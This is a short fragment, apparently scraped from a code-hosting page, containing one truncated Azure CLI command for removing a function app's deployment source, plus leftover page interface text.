az functionapp deployment source delete \
|
||||
|
||||
Reference in New Issue
Block a user